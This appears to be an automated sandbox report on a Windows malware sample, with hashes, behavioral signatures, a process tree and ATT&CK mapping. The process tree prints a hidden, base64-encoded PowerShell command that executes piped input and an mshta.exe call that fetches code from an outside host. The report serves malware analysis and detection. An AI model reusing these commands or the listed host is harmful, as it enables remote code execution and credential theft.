Analysis
- max time kernel
149s - max time network
114s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
04/06/2026, 07:52
Static task
static1
Behavioral task
behavioral1
Sample
2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe
Resource
win11-20260513-en
General
- Target 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe
- Size 2.5MB
- Sample260604-jqmd8act4j
- SHA256 ec11251c4cce49996205c7ecb897f85202e9a67aedf4c67c16c803b428269b54
- MD5 c312d07cd50d7a8457405767d8c5d285
- SHA1 37c31369432d028ac47cfa4b38f142a323e42004
- SHA512 3e2b392d49e05d722acb30d36b00841244e736c764c713dc5cc29e6f5ea12138da826a00984eedc40f16fcc32fa9415186278e05128356a521b6990d930203ba
- SSDEEP 24576:lbnF+kV0Nj6FCcW7pvtl60NfKrD/YasAdsdQqWppkLABn9h/9Att1nesX917Mypd:leHhAdsR0P/+zFdaO36eYD1VMs+
- TLSH T186C58E40F8D76871D552667124B772BA233678050F3DEA83DEA06E7EAC3B3D21C63A45
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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hta
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hta.dropper
https://vdsina.vg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3224 1544 taskkill.exe 98 - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1944 created 3192 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 54 - Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 16 4916 mshta.exe 17 4916 mshta.exe 18 4916 mshta.exe 19 4916 mshta.exe 21 4916 mshta.exe 22 4916 mshta.exe 23 4916 mshta.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1776 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4532 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Kills process with taskkill 1 IoCs
pid Process 3224 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Internet Explorer\Styles mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Internet Explorer\Styles\MaxScriptStatements = "10000000" mshta.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 3496 chrome.exe 3496 chrome.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 1776 powershell.exe 1776 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 3496 chrome.exe Token: SeCreatePagefilePrivilege 3496 chrome.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeSecurityPrivilege 4916 mshta.exe Token: SeSecurityPrivilege 4916 mshta.exe Token: SeDebugPrivilege 3224 taskkill.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe 3496 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4860 conhost.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1944 wrote to memory of 3496 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 83 PID 3496 wrote to memory of 4940 3496 chrome.exe 84 PID 3496 wrote to memory of 1228 3496 chrome.exe 85 PID 3496 wrote to memory of 1228 3496 chrome.exe 85 PID 3496 wrote to memory of 4532 3496 chrome.exe 86 PID 3496 wrote to memory of 3320 3496 chrome.exe 87 PID 3496 wrote to memory of 3320 3496 chrome.exe 87 PID 3496 wrote to memory of 4968 3496 chrome.exe 89 PID 3496 wrote to memory of 4968 3496 chrome.exe 89 PID 3496 wrote to memory of 2688 3496 chrome.exe 88 PID 3496 wrote to memory of 2688 3496 chrome.exe 88 PID 3496 wrote to memory of 4688 3496 chrome.exe 90 PID 3496 wrote to memory of 4688 3496 chrome.exe 90 PID 3496 wrote to memory of 3760 3496 chrome.exe 93 PID 3496 wrote to memory of 3760 3496 chrome.exe 93 PID 1944 wrote to memory of 1776 1944 2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe 95 PID 1776 wrote to memory of 4916 1776 powershell.exe 97 PID 4860 wrote to memory of 3216 4860 conhost.exe 106 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3192
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C:\Users\Admin\AppData\Local\Temp\2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -NonInteractive -WindowStyle Hidden -EncodedCommand JABzAD0AWwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZgAoACQAcwAuAEwAZQBuAGcAdABoACkAewBpAGUAeAAgACQAcwB9AA==3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://vdsina.vg4⤵
- Badlisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
PID:4916
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --new-window2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff85f9dc728,0x7ff85f9dc734,0x7ff85f9dc7403⤵PID:4940
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,876240601861275171,9454839330136491770,262144 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1952 /prefetch:23⤵PID:1228
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,932236758253070962,5537824358056485606,524288 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2200 /prefetch:113⤵
- System Time Discovery
PID:4532
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,12259191669015479543,15325425562934587937,524288 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2724 /prefetch:133⤵PID:3320
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,5741353688784388626,17011329450230195109,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3300 /prefetch:13⤵PID:2688
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,10521325120046131484,8837537525362035368,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3320 /prefetch:13⤵PID:4968
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,11878521915721518078,8982487468599584866,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4248 /prefetch:93⤵PID:4688
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4500,i,14738198156791411677,1774444629256220082,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1592 /prefetch:13⤵PID:3760
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:908
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C:\Windows\system32\taskkill.exetaskkill /F /IM mshta.exe1⤵
- Process spawned unexpected child process
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3224
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C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵PID:3216
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C:\Windows\system32\wscript.exewscript.exe1⤵PID:2604
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\bd9e3c6e-1b69-4e1a-a92e-8e0838a071e5.tmp
- Size 115KB
- SHA256 9c2c582f9906c1d8ebad19177d77a7c8b1b5e12c345db3db06830c2fc2309cbc
- MD5 b93e39ee329add182dde1cd9eec3f9ba
- SHA1 725698f072c84fae9223be53143ace3048671ee3
- SHA512 835dc0e7da7f23a83836a7d43b4a20be31948d86c726a1cc4c23889b9d0eb6309282fa14481094b037ec951fd832a116745f5839536f49df226c77000bd0c5ad
- SSDEEP 3072:UGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMF:Xm7Rkm1tYpBeh2BAoF
- TLSH T1AAC3123B5D70A97759B9BB4EB08E0B1E1EF149A6C930DE92C8D85A0477FA7CC0A44934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5fz1jz0.tce.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH